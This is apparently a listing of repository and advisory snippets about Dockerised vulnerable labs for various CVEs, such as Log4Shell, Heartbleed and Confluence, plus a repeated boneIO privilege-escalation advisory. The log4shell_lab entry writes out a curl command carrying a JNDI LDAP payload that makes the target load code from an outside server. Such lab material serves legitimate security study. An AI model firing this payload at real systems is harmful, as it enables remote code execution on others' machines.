log4j-docker-vaccine

Log4j Docker Vaccine A containerized way to run the log4j vaccine offered by Cyberreason https://github.com/Cybereason/Logout4Shell Make it go Clone this repo: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git Edit the containers.env file to hold an accurate private or public IP/DN...

cve-2019-5420

CVE-2019-5420 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2019-5420 Image author: https://github.com/knqyf263/CVE-2019-5420...

CVE-2024-21262

RECORDS Only for reproduction of CVEs. Related Resources: LINK GITHUB1 GITHUB2 ISSUE Check Envs Download docker-24.0.6.tgz from https://download.docker.com/linux/static/stable/x8664/. sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C /usr/local/docker-24.0.6 sudo ln -sf...

cve-2015-1427

CVE-2015-1427 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2015-1427 Image author: https://github.com/t0kx/exploit-CVE-2015-1427...

Heartbleed_Dockerfile_with_Nginx

Testing Heartbleed with Nginx Dockerfile This repository contains Dockerfile of Nginx with the vulnerable OpenSSL version 1.0.1f for testing CVE-2014-0160 Heartbleed Vulnerability. Base Docker Image debian:latest Installation 1. Install Docker Example with Debian: apt-get install -y docker 2...

cve-2018-15877

CVE-2018-15877 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2018-15877 Image author: https://github.com/cved-sources/cve-2018-15877...

day10-nextjs-middleware-lab

Day 10 — Next.js middleware auth-bypass lab CVE-2025-29927 simulation Important: Educational lab only. Run locally in Docker. Quickstart: npm i build from repo root with files above docker build -t day10-nextjs-lab . run docker run --rm -d -p 8080:3000 --name day10 day10-nextjs-lab Open...

confluence-rce-poc

confluence-rce-poc Setting up POC for CVE-2021-26084 Docker Feed official docker-entrypoint.sh to postgres, change db username and password as required...

CVE-2026-77055

boneIO blackdebianimages gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root. This issue was fixed in version 1.6.0: the ima...

log4shell-docker-lab

Log4Shell docker lab for CVE-2021-44228 The components This docker lab makes use of three components, being: The vulnerable spring-boot application An HTTP server that hosts .class files used for remote code execution An LDAP referral server which redirects specific LDAP queries to the HTTP serve...

cve-2017-7529

CVE-2017-7529 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2017-7529 Image author: https://github.com/Medicean/VulApps/tree/master/n/nginx/1...

base-drupal

BASE-DRUPAL This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/base-drupal Image based on: https://github.com/Medicean/VulApps/tree/master/base/drupal/8.3.0...

CVE-2026-77055

The boneIO black_debian_images provide the boneio service account with excessive privileges, specifically including full passwordless sudo access and membership in the docker group . A local attacker who compromises the boneio user can leverage these privileges to escalate to root privileges. Thi...

CVE-2026-77055 Improper Privilege Assignment in boneIO

boneIO blackdebianimages gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root. This issue was fixed in version 1.6.0: the ima...

EUVD-2026-109950

boneIO blackdebianimages gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root. This issue was fixed in version 1.6.0: the ima...

CVE-2019-13956

CVE-2019-13956 cd CVE-2019-13956 docker-compose up -d http://127.0.0.1:8090...

asn-search

asn-search This tool will dump the ASN information using Hurricane Electric This tool runs on Docker, and you can either use an image I have already created: docker run -it --cap-add=SYSADMIN tuxotron/asn-search Or you can build your own: docker build -t asn-search . docker run -it...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

cve-2016-9838

CVE-2016-9838 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2016-9838 Image author: https://github.com/cved-sources/cve-2016-9838...

cve-2018-9208

CVE-2018-9208 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2018-9208 Image author: https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9208...